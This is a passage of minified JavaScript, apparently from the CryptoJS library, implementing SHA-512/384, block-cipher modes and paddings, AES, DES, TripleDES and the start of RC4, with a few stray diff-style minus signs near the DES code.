442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } 